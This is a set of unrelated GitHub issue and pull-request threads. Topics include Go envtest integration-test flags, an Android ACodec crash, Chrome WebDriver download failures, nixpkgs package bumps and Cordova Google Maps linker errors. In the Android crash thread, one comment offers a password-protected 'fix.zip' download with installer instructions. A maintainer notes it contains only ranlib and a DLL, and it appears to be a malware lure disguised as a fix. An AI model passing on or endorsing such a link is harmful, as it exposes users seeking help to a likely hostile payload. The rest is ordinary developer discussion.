Separate out integration tests:

Issue #, if available:
#5364
Description of changes:
Without breaking any Make goals, this allows specifying an env var (INTEGRATION_TESTS_ENABLED) that will cause any test that uses envtest to either run or not. By default, make unit-test will run all tests that use envtest. i.e. INTEGRATION_TESTS_ENABLED=true. To disable tests that use envtest, set INTEGRATION_TESTS_ENABLED=false.
For example, with make, to disable envtest tests run:
INTEGRATION_TESTS_ENABLED=false make unit-test
When running go directly, the default behavior is to not run any envtest tests.
go test ./... is the same as INTEGRATION_TESTS_ENABLED=false go test ./...
To enable envtest with go directly, you'll need to start envtest and then run: INTEGRATION_TESTS_ENABLED=true go test ./...
Testing (if applicable):
Documentation added/planned (if applicable):
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

I'm indifferent to the approach we use as both have tradeoffs. If we shoot for the env variable approach though, I think it would be useful to add a helper so I don't need to include the boilerplate.
func TestFoo(t *testing.T) {
	test.MarkIntegration(t)
}

test.MarkIntegration(t)

Thanks for the feedback. The challenge i have with build tags is that they are easily discoverable. With this current pattern you get that discoverability. go test will clearly show the env var(s) that need to be set in order to run the integration tests. Reference.
In regard to the extra work; using envtest is way more work than adding a one-liner test.MarkIntegration(t). Reference.
The breaking of go test if an engineer forgets to add test.MarkIntegration(t) is actually a good thing. With this pattern they will now see that wrote an integration test without marking it accordingly. Couple that with In the future we would have make unit-test only run unit tests and be a part of the github action.

Thanks for the feedback, @g-gaston . The challenge i have with build tags is that they are not easily discoverable. With this current pattern you get that discoverability. go test will clearly show the env var(s) that need to be set in order to run the integration tests. Reference.

I think this hints to our main discrepancy on this topic. Please correct me if I'm making the wrong assumption, but I feel you see go test as the top level entry point to our repo tests, while for me, make is such entry point.
From where I stand, make help (or make [tab]) is how we discover the different sets of tests one can run. And running those targets takes care of setting up the environment so they run properly. Instead of discovering "how to configure the tests", you just discover "the available tests".
Not trying to convince anyone here, just pointing where I think the disagreement comes from :)
I still prefer build tags, but if you are firm on using env vars + t.Skip, please take a look to my comment above about a possible iteration of your idea, that I think makes it more obvious/robust.

In regard to the extra work; using envtest is way more work than adding a one-liner test.MarkIntegration(t). Reference.

There might be something I'm missing. Running tests with envtest should only require running the right make target. And if it's about writing tests with envtest, at most, is adding the a main_test.go file to the right folder. If we are talking about using envtest with go test, it only requires a one time setup and exporting an envvar.
I'm not sure what extra work envtest involves (the reference link seems to be just terry's opinion, which I appreciate but it's just one opinion) but I'm interested in hearing the issues you faced because I would like to fix them (orthogonally to this PR).

Thanks for the feedback, @g-gaston . The challenge i have with build tags is that they are not easily discoverable. With this current pattern you get that discoverability. go test will clearly show the env var(s) that need to be set in order to run the integration tests. Reference.

I think this hints to our main discrepancy on this topic. Please correct me if I'm making the wrong assumption, but I feel you see go test as the top level entry point to our repo tests, while for me, make is such entry point.
From where I stand, make help (or make [tab]) is how we discover the different sets of tests one can run. And running those targets takes care of setting up the environment so they run properly. Instead of discovering "how to configure the tests", you just discover "the available tests".
Not trying to convince anyone here, just pointing where I think the disagreement comes from :)
I still prefer build tags, but if you are firm on using env vars + t.Skip, please take a look to my comment above about a possible iteration of your idea, that I think makes it more obvious/robust.

In regard to the extra work; using envtest is way more work than adding a one-liner test.MarkIntegration(t). Reference.

There might be something I'm missing. Running tests with envtest should only require running the right make target. And if it's about writing tests with envtest, at most, is adding the a main_test.go file to the right folder. If we are talking about using envtest with go test, it only requires a one time setup and exporting an envvar.
I'm not sure what extra work envtest involves (the reference link seems to be just terry's opinion, which I appreciate but it's just one opinion) but I'm interested in hearing the issues you faced because I would like to fix them (orthogonally to this PR).

Thanks for the reply @g-gaston. There is a lot going on in this PR but the main goal is to update make unit-test to only run unit tests. I think the only outstanding concern is whether to use an env var or build tags, no?

@g-gaston Are we OK with this change?

TBH, I'm not sure the net change here is positive. But if you are both believe it is and are both aligned on the solution, let's try it and see what happens. Just make sure we send a message to the team informing of the new requirement, since this will affect everyone writing tests with envtest.


[BUG]: CRASH: android::ACodec::allocateOutputMetadataBuffers

Version
6.4.5
What platforms are you having the problem on?
Android
System Version
android 11+
On what device are you experiencing the issue?
Real device
Architecture
Old architecture
What happened?
I have got crash in sentry:
Segfault: android::ACodec::allocateOutputMetadataBuffers
Reproduction Link
No response
Reproduction
Unfortunately I don't know how to reproduce this, but I have a link to the android google media framework where the error occurred: https://android.googlesource.com/platform/frameworks/av/+/master/media/libstagefright/ACodec.cpp#:~:text=err %3D-,allocateOutputMetadataBuffers,-()%3B

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Can you please provide the full callstack ?
Is there any platform specificity with that issue (specific devices or android versions ?)
The zip file you provide only contains ranlib & a dll ...

Can you please provide the full callstack ? Is there any platform specificity with that issue (specific devices or android versions ?) The zip file you provide only contains ranlib & a dll ...

That's just what I know:
Crashed: Thread 1
SIGSEGV 0x0000000000000008
libstagefright.so
It was BLU View 2 (B131DL) with android 11


Environment physics_timestep parameter does not have any effect

Currently this is passed with set_simulation_dt into the Simulator instance but the stage is not loaded yet so the underlying Isaac Core code just returns None without actually updating anything. This also prevents action_timestep from being set in any number that's not a multiple of 1/60.

Actually this is not the issue - the issue is that both the rendering and physics timesteps need to be integer divisions of a second which is currently not true with some of our config files due to the correct numbers being repeating decimals. We should consider updating the parameter to be a frequency instead (e.g. 1/ current value) such that the numbers are legible.


Update healthcheck page to Bulma styling

Fixes: #148

Cool. Code looks good to me. Screenshot? 😄

Its the same as it was before 😁


python311Packages.geoalchemy2: 0.14.2 -> 0.14.3

Diff: https://github.com/geoalchemy/geoalchemy2/compare/refs/tags/0.14.2...0.14.3
Changelog: https://github.com/geoalchemy/geoalchemy2/releases/tag/0.14.3
Description of changes

Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Result of nixpkgs-review pr 276751 run on x86_64-linux 1

8 packages built:

python310Packages.flask-admin
python310Packages.flask-admin.dist
python310Packages.geoalchemy2
python310Packages.geoalchemy2.dist
python311Packages.flask-admin
python311Packages.flask-admin.dist
python311Packages.geoalchemy2
python311Packages.geoalchemy2.dist


Downloading the Chrome WebDriver fails with Chrome >=15 (OSOE-664)

This is because WebDriverManager.Net didn't follow up with the URL of ChromeDriver packages having a different URL starting with v15: https://github.com/rosolko/WebDriverManager.Net/issues/253 The linked issue also has potential solutions. The task here is to fix our issue, in the following ways:

[ ] Add a temporary fix first that we can get in to dev and out via NuGet ASAP, most possibly this one (here's some code that shows most possibly this in a wider context; we need to use it here). Publish a new NuGet release.
[ ] Implement a long-term fix:

Evaluate using Selenium Manager instead of WebDriverManager.Net: that had this issue too (https://github.com/SeleniumHQ/selenium/pull/12208), which might not be released yet.
Evaluate using Atata.WebDriverSetup.
If WebDriverManager.Net is still the best choice, then fork it and submit a fix.

Jira issue

Hi @Piedone,
You can also consider Atata.WebDriverSetup library, which handles Chrome v115+ drivers and not only.

Basically, yes, but with few additions.

Not yet fully done, needs a NuGet release too.

@DAud-IcI I’m getting such exceptions locally randomly which does seem to be due to the changes here, and might be the same exception from the CI build in disguise:
    OpenQA.Selenium.WebDriverException : Creating the web driver failed with the message "The process cannot access the file 'E:\ShortPath\OSOCE4\NuGetTest\test\Lombiq.OSOCE.NuGet.Tests.UI\bin\Debug\net6.0\drivers\chrome\versioncache.xml' because it is being used by another process.". This can mean that there is a leftover web driver process that you have to kill manually. Full exception: System.IO.IOException: The process cannot access the file 'E:\ShortPath\OSOCE4\NuGetTest\test\Lombiq.OSOCE.NuGet.Tests.UI\bin\Debug\net6.0\drivers\chrome\versioncache.xml' because it is being used by another process.
   at Microsoft.Win32.SafeHandles.SafeFileHandle.CreateFile(String fullPath, FileMode mode, FileAccess access, FileShare share, FileOptions options)
   at Microsoft.Win32.SafeHandles.SafeFileHandle.Open(String fullPath, FileMode mode, FileAccess access, FileShare share, FileOptions options, Int64 preallocationSize)
   at System.IO.Strategies.OSFileStreamStrategy..ctor(String path, FileMode mode, FileAccess access, FileShare share, FileOptions options, Int64 preallocationSize)
   at System.IO.Strategies.FileStreamHelpers.ChooseStrategyCore(String path, FileMode mode, FileAccess access, FileShare share, FileOptions options, Int64 preallocationSize)
   at System.IO.Strategies.FileStreamHelpers.ChooseStrategy(FileStream fileStream, String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, Int64 preallocationSize)
   at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, Boolean useAsync)
   at System.Xml.XmlWriterSettings.CreateWriter(String outputFileName)
   at System.Xml.XmlWriter.Create(String outputFileName, XmlWriterSettings settings)
   at System.Xml.Linq.XDocument.Save(String fileName, SaveOptions options)
   at System.Xml.Linq.XDocument.Save(String fileName)
   at Atata.WebDriverSetup.XmlFileDriverVersionCache.GetOrAdd(String browserVersion, DateTime minimumAcceptableTimestamp, Func`2 versionResolveFunction)
   at Atata.WebDriverSetup.CachedDriverVersionCorrespondingToBrowserVersionResolver.GetDriverVersionCorrespondingToBrowserVersion(String browserVersion)
   at Atata.WebDriverSetup.DriverVersionResolver.ResolveByBrowserVersion(String version)
   at Atata.WebDriverSetup.DriverVersionResolver.ResolveCorrespondingVersion()
   at Atata.WebDriverSetup.DriverVersionResolver.ResolveCorrespondingOrLatestVersion()
   at Atata.WebDriverSetup.DriverSetupConfigurationBuilder.ResolveDriverVersion(IDriverSetupStrategy setupStrategy, String version)
   at Atata.WebDriverSetup.DriverSetupConfigurationBuilder.ExecuteSetUp()
   at Atata.WebDriverSetup.DriverSetupConfigurationBuilder.SetUp()
   at Atata.WebDriverSetup.DriverSetup.AutoSetUp(String browserName)
   at Lombiq.Tests.UI.Services.WebDriverFactory.CreateDriver[TDriver](String browserName, Func`1 driverFactory)
---- System.IO.IOException : The process cannot access the file 'E:\ShortPath\OSOCE4\NuGetTest\test\Lombiq.OSOCE.NuGet.Tests.UI\bin\Debug\net6.0\drivers\chrome\versioncache.xml' because it is being used by another process.

Also got this repeatedly:
    OpenQA.Selenium.WebDriverException : Creating the web driver failed with the message "Could not find a part of the path 'E:\ShortPath\OSOCE4\test\Lombiq.UITestingToolbox\Lombiq.Tests.UI.Samples\bin\Debug\net6.0\drivers\chrome\115.0.5790.170\dl\chromedriver-win64.zip'.". This can mean that there is a leftover web driver process that you have to kill manually. Full exception: System.IO.DirectoryNotFoundException: Could not find a part of the path 'E:\ShortPath\OSOCE4\test\Lombiq.UITestingToolbox\Lombiq.Tests.UI.Samples\bin\Debug\net6.0\drivers\chrome\115.0.5790.170\dl\chromedriver-win64.zip'.
   at Microsoft.Win32.SafeHandles.SafeFileHandle.CreateFile(String fullPath, FileMode mode, FileAccess access, FileShare share, FileOptions options)
   at Microsoft.Win32.SafeHandles.SafeFileHandle.Open(String fullPath, FileMode mode, FileAccess access, FileShare share, FileOptions options, Int64 preallocationSize)
   at System.IO.Strategies.OSFileStreamStrategy..ctor(String path, FileMode mode, FileAccess access, FileShare share, FileOptions options, Int64 preallocationSize)
   at System.IO.Strategies.FileStreamHelpers.ChooseStrategy(FileStream fileStream, String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize, FileOptions options, Int64 preallocationSize)
   at System.IO.FileStream..ctor(String path, FileMode mode)
   at Atata.WebDriverSetup.HttpRequestExecutor.DownloadFile(String url, String filePath)
   at Atata.WebDriverSetup.ReliableHttpRequestExecutor.<>c__DisplayClass4_0.<DownloadFile>b__0()
   at Atata.WebDriverSetup.ReliableHttpRequestExecutor.ExecuteWithRetries[TResult](Func`1 operation)
   at Atata.WebDriverSetup.ReliableHttpRequestExecutor.DownloadFile(String url, String filePath)
   at Atata.WebDriverSetup.DriverSetupExecutor.DownloadDriverIfMissing(String version, String driverDestinationDirectoryPath, String driverDestinationFileName)
   at Atata.WebDriverSetup.DriverSetupExecutor.SetUp(String version)
   at Atata.WebDriverSetup.DriverSetupConfigurationBuilder.ExecuteSetUp()
   at Atata.WebDriverSetup.DriverSetupConfigurationBuilder.SetUp()
   at Atata.WebDriverSetup.DriverSetup.AutoSetUp(String browserName)
   at Lombiq.Tests.UI.Services.WebDriverFactory.CreateDriver[TDriver](String browserName, Func`1 driverFactory) in E:\ShortPath\OSOCE4\test\Lombiq.UITestingToolbox\Lombiq.Tests.UI\Services\WebDriverFactory.cs:line 166

While both of these go away on repeated runs, it seems that there's some flakiness in the driver creation (which results in repeated runs, slowing down test execution.
I'm using VS Test Explorer, which might matter since at a quick glance over a couple of the recent OSOCE CI builds I haven't seen any flakiness.
Perhaps we should run AutoSetUp() within a lock, only once for each browser? @YevgeniyShunevych any advice on this, perhaps?

Could you give me more context? I couldn't reproduce this in VS2022, I've even tried running the whole Lombiq.Tests.UI.Samples multiple times with no such result.
At any rate, I've added a lock around DriverSetup.AutoSetUp(browserName);, hopefully that fixes it.

I get this randomly for 0, 1, or multiple tests after running them all with this button from VS:

Or highlighting the UI test projects and clicking the button to its right.
This runs tests in a project in parallel, but separate projects serially, so it's not like two UI tests projects can step on each others' feet. This is from the NuGetTest solution (where there's one UI test project anyway), where this happens just as it does in the root solution. I didn't change anything in the code but do note that this is my TestConfiguration.json (the one recommended in the docs), i.e. there's no retry to hide tests failing only randomly:
{
  "Lombiq_Tests_UI": {
    "AgentIndex": 3,
    "TimeoutConfiguration": {
      "RetryTimeoutSeconds": 5,
      "RetryIntervalMillisecondSeconds": 300,
      "PageLoadTimeoutSeconds": 120
    },
    "OrchardCoreUITestExecutorConfiguration": {
      "MaxRetryCount": 0,
      "RetryIntervalSeconds": 0,
      "MaxParallelTests": 0
    },
    "BrowserConfiguration": {
      "Headless": true
    }
  }
}

I've now run the tests for both solutions a few times. It correctly doesn't happen for the root solution, but still does for the NuGestTest one, as expected without new NuGet packages.

I've now run the tests for both solutions a few times. It correctly doesn't happen for the root solution, but still does for the NuGestTest one, as expected without new NuGet packages.

Sounds like my fix does the job. I've applied it to the NuGet solution too.


Fix key generation on orderByRaw

Fixes #35

Coverage decreased (-25.2%) to 74.83% when pulling 774b2d38bd2750f28ebf218cd32123e9af05e6ce on laravel-5.5 into 35ba21d03a4b62bade47bde3287b00604f425a8e on master.

Coverage remained the same at 100.0% when pulling 140e3c71f97852d0092ab4025fc669c3ae7f0df7 on laravel-5.5 into 35ba21d03a4b62bade47bde3287b00604f425a8e on master.


Changing the source of random data from the position of the GPS location to other ones that do not require additional authorization

EOS and TRX have own blockchains now. Leave these tokens on the "Add token" list.

Requiring the location of the device to download random data needed to generate a seed can arouse controversy.


bug/#364 - commented pantries and shopping lists code in home page

In home_page.dart I've just commented code that is temporarily not used.
I guess some day we'll use pantries and shopping lists again.
Alternate solutions are:

remove the code altogether instead of commenting it
setting up a more relaxed check regarding warnings

Thank you @M123-dev for your code review!
Feel free to merge this PR if needed, but also don't hesitate to tell me if you want other changes, depending on the possibility of changing the workflow check or on the need to declutter the code by removing commented code.

Leaving the code temporarily commented out it fine for me. I'll merge it for now


Adapting the task with new HOOKs structure

There is still a backwards compatibility.

Here you are @pwalczyszyn :)

Thanks @YouriT


Testing Async and dispatch

Report a _bug
Current behavior
https://repl.it/@MadhuMeghana/Meghana
I cannot able to get this code to working. But 2nd test is failing. I am having the same issue as
https://github.com/facebook/jest/issues/3667. (Solution in that thread is to add "return".)
Resolve the Async action test case is working. but Reject the Async action test case cannot able to record dispatch.
When I run the 2nd test case in add-test.js, I am getting following error.
Expected mock function to have been called three times, but it was called zero times.
What is the expected behavior?
I do not have to add return in my add.js and get add-test.js working.
Please provide your exact Jest configuration
System:
OS: Windows 10
CPU: x64 Intel(R) Core(TM) i5-7300U CPU @ 2.60GHz
Binaries:
npm: 5.6.0 - C:\Program Files\nodejs\npm.CMD

Please note this issue tracker is not a help forum. We recommend using StackOverflow or our discord channel for questions.


Remote debugging not working on OS X

I do all actions, which described in master branch doc: https://github.com/atom/electron/blob/master/docs/tutorial/debugging-main-process.md
But when I try to use node-inspector, error throws in it console:
Error: Cannot find module '/usr/local/lib/node_modules/node-inspector/node_modules/v8-debug/build/debug/v0.7.0/node-v47-darwin-x64/debug.node'

And electron process infinitely busy until I close tab with node-inspector

OS
Electron version

OS X 10.11.2
0.36.4 in process and node-inspector runtime

@lukeapage, maybe it not tested in OS X?..

I wasn't able to test on mac os no.
That path is for a global install of node inspector - are you definitely running node-inspector with electron (its looking for a node build, not an electron build - could also be that node pre gyp in the electrons app path isn't patched)  and did you recompile v8-debug in the global paths.. In my tests I install node inspector locally (it should still work but maybe there is a local/global mismatch?)
I think its unlikely something is very windows specific but its possible mac os needs something extra or slightly different.

Thanks. I do all anew, but install deps locally (besides node-pre-gyp, local node-pre-gyp can't patch, strangely...)
node-inspector run without errors and even show some js
But it not working :(
No show sourcemaps files, REPL not working, can't catch breakpoint, e.t.c.
Unfortunately.

You have to follow the guide exactly, e.g. you have to install the node-pre-gyp locally in node-inspector's repo, it needs to override the original one used by node-inspector.

Ok, I install node-pre-gyp locally too and follow the guide exactly now, but it now working again and simptoms like this:

No show sourcemaps files, REPL not working, can't catch breakpoint, e.t.c.


Portable distribution

Hi again!
Would it be possible to distribute qvge without installer for Windows? Ready to run! Only binaries...
I think it's a pretty desirable feature in small, elegant, nifty and beautiful tools.
Thank you!
DJuego

Hi!
I think this is reasonable. I would add this feature since some upcoming release, thank you for the idea!

Thank you for your understanding @ArsMasiuk!
DJuego

done for Windows in 0.6

Thank you very much!  I'll look forward to the release!
DJuego

Sorry that it has taken so much time..  and thanks for the patience :)
Btw. may I ask which features do you find usable or what part of the app
could be improved somehow?
On Thu, Jul 2, 2020, 21:10 DJuego<EMAIL_ADDRESS>wrote:

Thank you very much! I'll look forward to the release!
DJuego
—
You are receiving this because you were assigned.
Reply to this email directly, view it on GitHub
https://github.com/ArsMasiuk/qvge/issues/54#issuecomment-653176538, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/AEWY5KF43254K65AN3ZU2DTRZTLTHANCNFSM4GM3HEBQ
.

Good things are sometimes made to wait.
When I have something concrete to feed you back to, I'll do it right away.  Don't have any doubts about that. :-)
Thank you again, @ArsMasiuk .
DJuego
P.S:  If you like, I'll close the thread when 0.6 is released.

You've honored your promise. This issue has been resolved. Thank you very much for this!
If I find out anything new I'll let you know. Sure! :-)
DJuego


Feature Request: Remain Open if Date Opened in Sidebar (SHIFT+Click)

I like to do a weekly review of daily journal entries. This plugin makes it easy to open several days in my sidebar for that purpose. However, it closes on every shift-click.
It would be slightly more convenient if it noticed that I opened the date in my sidebar, and therefore did not close the calendar so I could click on more dates.

I just found https://github.com/xyhp915/logseq-journals-calendar/pull/24 - that'll do. It's worth having to manually close for regular use so that I save several clicks for this particular use case.


Unable to get the first n rows or the top 1 row - IRangedConditionalResultsSqlStatementSetter

Currently if i want to get just the first row, based on any where clause. I send skip = 0 and top/limitResults = 1.
But Skip throws an exception that skip should be > 0 instead of >=0.
/// <summary>
        /// Skips the initial set of results.
        /// </summary>
        public TStatementOptionsBuilder Skip(long skipRecordsCount)
        {
            Requires.Argument(skipRecordsCount > 0, nameof(skipRecordsCount), "The number of records to skip must be a positive value");

            this.SkipResults = skipRecordsCount;
            return this.Builder;
        }

Next, if i want to get first n rows then i have to set Top( n), that it using MsSqlbuilder causes a sql exception due to the fact that it prints out a fetch n without an offset.

Yes, that is indeed a bug. I'll add more tests and fix this today. Thanks for reporting.

Fixed and released in BETA for both MsSql and SqLite.

Thanks for fixing this so promptly! I will start using it in my project right away.

Skip(0) shouldn't be needed any more, but 0 is now accepted as well. I've also added a validation rule for the lack of OrderBy when either Skip or Top are being used. That solves #8. MsSql complains if not there. Nobody should rely on the default db order anyway, as the optimizations in the server could change that at any moment.

Yea - i ran into that as soon as i got your code - it threw up that exact validation exception.
i think that is a good practice to force developers to specify an order by condition. instead of relying on the default order.


[BUG] FATA[0000] stat /root/.ssh/id_rsa: no such file or directory just use password to create cluster

Describe the bug
[root@Server-c49a7057-d19d-4676-bafa-e7729889c6fa ~]# /usr/local/bin/autok3s create --provider native --cluster --name test --k3s-install-script '-k http://xxxx/install.sh' --k3s-version v1.19.5+k3s2 --ssh-user root --ssh-password xxx --ssh-port 22  --master-extra-args '--docker' --master-ips xxxx

FATA[0000] stat /root/.ssh/id_rsa: no such file or directory

To reproduce
My machine don't have /root/.ssh/id_rsa this file . Because I  just use password to connect the node， I don't why I should have a private key.
Expected behavior
A clear and concise description of what you expected to happen.
Screenshots
If applicable, add screenshots to help explain your problem.
Environments (please complete the following information):

OS:  centos7
AutoK3s Version
Version: {"gitVersion":"v0.4.6","gitCommit":"4537e6ee2aea8b204a72f7b6c377edb154f7c058","gitTreeState":"","buildDate":"2021-12-28T04:15:30Z","goVersion":"go1.16.2","compiler":"gc","platform":"linux/amd64"}

Additional context
Add any other context about the problem here.

this commit will fix the bug.


URL Support for localhost

The provided regex for URLs (as an input target in config) doesn't support localhost, e.g. http://localhost:5001/swagger/v1.json.
I'm assuming this is not the intended behaviour?
Here is the example in a playground.

Which version did you try? Can you try with orval@alpha it should be fixed.


[Theme Request] Akeno DXD

Who/What do you want to be featured?
Akeno Himejima - High School DXD
What do they look like?
https://br.pinterest.com/pin/829154981412915769/
https://br.pinterest.com/pin/32369691063438451/
https://br.pinterest.com/pin/606719381066901672/
https://br.pinterest.com/pin/5559199533287205/
What type of theme?

[ ] Light Theme
[x] Dark Theme

I really love this character, it will be so nice codding with her image.


Inconsistency with setItemIndex and Navigator / World state

When calling setItemIndex inside a add-item callback, there is an inconsistency in the World and Navigator states.  The former has the item that triggered the add-item callback, but World does not.
So, given this use case:

add an item with viewer.addTiledImage
code in add-item callback inspects world._items and determines that one of the items needs to be moved to top of the list, so it calls setItemIndex
setItemIndex updates World state, and dispatches the item-index-change event
item-index-change fires.

However, since the Navigator state does not yet have the item from add-item, an error is thrown:
Uncaught Error: Index bigger than number of layers.

I'm not sure if this matters in our use case, since the Navigator state eventually does include the item, it is just in a different ordering than World.  However, I think the expected behavior would be that state for both would be updated when the add-item callback fires.

Hi! I'm interested in this issue, may I give it a try?

@RammasEchor Absolutely, please do! Let me know if you have any questions along the way :-)

Thank you! I do have a question; I've been reading the code, and I have been trying to replicate the error with this code:
viewer.world.addHandler('add-item', e => {
    viewer.world.setItemIndex(e.item, 0);
    console.log(viewer.world.getItemCount(e.item));
});

viewer.addTiledImage({
    tileSource: source,
});

However, with this code the error

Uncaught Error: Index bigger than number of layers.

is non deterministic; I can't hit it regularly. With this code I get another type of error, which is two assertions about an setting an index of an undefined item.
The expected behavior of the above code is to set any item that is added to the 0 index (so, behind all other items), however, the view in the navigator is not updated, since the world belonging to the nevigator does not have the items updated at the moment of setItemIndex.
My questions are:

Do I create another issue about the assertions? This seems closely related to this one, so I don't think it would be necessary. I do have a solution for those.
Is there a way to consistently reproduce the original error? I tried various thing, but I do think I'm missing something important.

Thank you very much!

Now that I'm taking a closer look at the code, I think the root of the issue may be that we are adding the new image to the world:
https://github.com/openseadragon/openseadragon/blob/577622a210956b0ed84b25f2e5f15b619aedc64a/src/viewer.js#L1505
...before we add it to the navigator:
https://github.com/openseadragon/openseadragon/blob/577622a210956b0ed84b25f2e5f15b619aedc64a/src/viewer.js#L1525
It might be worth flipping that order to see if that improves things (and makes them more reliable).
As for fixing the other issue you found, it seems reasonable to do it all at the same time, since it's in the same area. I'd love to see the code change; I'm having a hard time visualizing what you've done.
Thank you for digging into this!

Yes of course! I will create a draft pull request with my work. I would greatly appreciate any feedback.

@RammasEchor excellent... looks good to me!

Fixed by #2005


Update tutorial-connect-msi-sql-database.md

GetToken() requires a CancellationToken

Learn Build status updates of commit 49cfc46:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

articles/app-service/tutorial-connect-msi-sql-database.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

On second thought, I was wrong. the credential is DefaultAzureCredential, not a TokenCredential, so it has an overload of GetToken() that doesn't take a CancellationToken.
That's everything that's bad with using var.


BLEClientCallbacks implementation not needed

We have a class called BLEClientCallbacks which is meant to be subclassed to handle client related callbacks.  Our first pass at this was to provide a definition that looked like:
public:
	virtual ~BLEClientCallbacks() {};
	virtual void onConnect(BLEClient *pClient);
};

with an implementation of the class which had a no-op onConnect() call.  Following this thread post:
https://esp32.com/viewtopic.php?f=13&t=2330&start=40
We changed the definition to:
public:
	virtual ~BLEClientCallbacks() {};
	virtual void onConnect(BLEClient *pClient) = 0;
};

making the onConnect() pure virtual and eliminated the no-op source file.

Code change made and committed.


iOS compiling issue

Hello,
I am experiencing the following error when iOS compiling with the new version 1.3:
Undefined symbols for architecture armv7:
  "_kSecRandomDefault", referenced from:
      +[NSData(GMSCrypto) gms_randomDataWithLength:] in GoogleMaps(NSData+GMSCrypto.o)
  "_SecRandomCopyBytes", referenced from:
      +[NSData(GMSCrypto) gms_randomDataWithLength:] in GoogleMaps(NSData+GMSCrypto.o)
  "_kSecAttrApplicationLabel", referenced from:
      -[GMSPersistentStorage encryptionKeyQuery] in GoogleMaps(GMSPersistentStorage.o)
  "_kSecReturnData", referenced from:
      -[GMSPersistentStorage encryptionKey] in GoogleMaps(GMSPersistentStorage.o)
  "_kSecClassKey", referenced from:
      -[GMSPersistentStorage encryptionKeyQuery] in GoogleMaps(GMSPersistentStorage.o)
  "_SecItemCopyMatching", referenced from:
      -[GMSPersistentStorage encryptionKey] in GoogleMaps(GMSPersistentStorage.o)
  "_kSecClass", referenced from:
      -[GMSPersistentStorage encryptionKeyQuery] in GoogleMaps(GMSPersistentStorage.o)
  "_SecTrustEvaluate", referenced from:
      -[GMSx_GTMSessionFetcher URLSession:task:didReceiveChallenge:completionHandler:] in GoogleMaps(GTMSessionFetcher.o)
  "_kSecAttrAccessible", referenced from:
      -[GMSPersistentStorage encryptionKey] in GoogleMaps(GMSPersistentStorage.o)
  "_kSecValueData", referenced from:
      -[GMSPersistentStorage encryptionKey] in GoogleMaps(GMSPersistentStorage.o)
  "_kSecAttrKeyClass", referenced from:
      -[GMSPersistentStorage encryptionKeyQuery] in GoogleMaps(GMSPersistentStorage.o)
  "_SecItemAdd", referenced from:
      -[GMSPersistentStorage encryptionKey] in GoogleMaps(GMSPersistentStorage.o)
  "_SecItemDelete", referenced from:
      -[GMSPersistentStorage deleteEncryptionKey] in GoogleMaps(GMSPersistentStorage.o)
  "_kSecAttrAccessibleAlwaysThisDeviceOnly", referenced from:
      -[GMSPersistentStorage encryptionKey] in GoogleMaps(GMSPersistentStorage.o)
  "_kSecAttrKeyClassSymmetric", referenced from:
      -[GMSPersistentStorage encryptionKeyQuery] in GoogleMaps(GMSPersistentStorage.o)
ld: symbol(s) not found for architecture armv7
clang: error: linker command failed with exit code 1 (use -v to see invocation)

** BUILD FAILED **

The following build commands failed:
	Ld build/device/Tree\ The\ World.app/Tree\ The\ World normal armv7
(1 failure)

I could not find how to disable the Bitcode on Xcode. I dont know if it's the problem or not.
Cordially,
Hervé

I'm not going to give support to the same type of questions again and again. Your error is not bitcode related, if you read your logs, you will understand.
Check your build settings, check that your frameworks are linked correctly (https://www.youtube.com/watch?v=gr0QrEShPbQ), do a reinstall.
In order to install the new version, you have to:

Delete plugin
cordova plugin rm plugin.google.maps
Delete Google Maps iOS SDK
cordova plugin rm com.googlemaps.ios
Re-Install plugin from master (follow wiki for Mac/Linux/Windows)
cordova plugin add https://github.com/wf9a5m75/phonegap-googlemaps-plugin --variable API_KEY_FOR_ANDROID="YOUR_KEY" --variable API_KEY_FOR_IOS="YOUR_KEY"

If nothing helps, delete your iOS Platform and start over

I tried this already. But I will try again.

I deleted the iOS platform. I followed all your instructions again. Re-added the iOS platform and I am still getting the same error.

Im sure you did not delete the SDK before:
cordova plugin rm com.googlemaps.ios

Show me a screenshot inside of Xcode with your "Frameworks"

Yes I did remove this plugin twice.
Maybe the problem comes from this:
Ld build/device/Tree\ The\ World.app/Tree\ The\ World normal armv7
    cd /Users/herve76/Desktop/TreeTheWorld/platforms/ios
    export IPHONEOS_DEPLOYMENT_TARGET=6.0

?

Set target inside of Xcode to 7.0

Do I have to open Xcode every time I want to compile the app?
Can I use the command "ionic run ios -l --device" ?

Normally not. I also compile with CLI. Just open Xcode one time, set everything correct, check targets, build 1 time to device and afterwards, it should work with CLI again

Frameworks seem to be fine. Would you mind to share a Teamviewer session with me? I'd like to connect to your Mac to test inside of your Xcode

Yes you can. Please send me an email at<EMAIL_ADDRESS>

you need to send me an email with your teamviewer id and password.
<EMAIL_ADDRESS>

I still have the following error when trying to compile for my phone.

Just for everybody: The Security.Framework was missing. Just added to your frameworks, the current master is fixed now!


Random False Positive

isPasscodeSet sometimes return NO, even though passcode is set.
- (BOOL)isPasscodeSet
{
    return !![self currentPasscode];
}

This code is weird. Is there a better way to check whether or not SSKeychain sets password for the current account and service?

When this happened, I was able to log this error description.
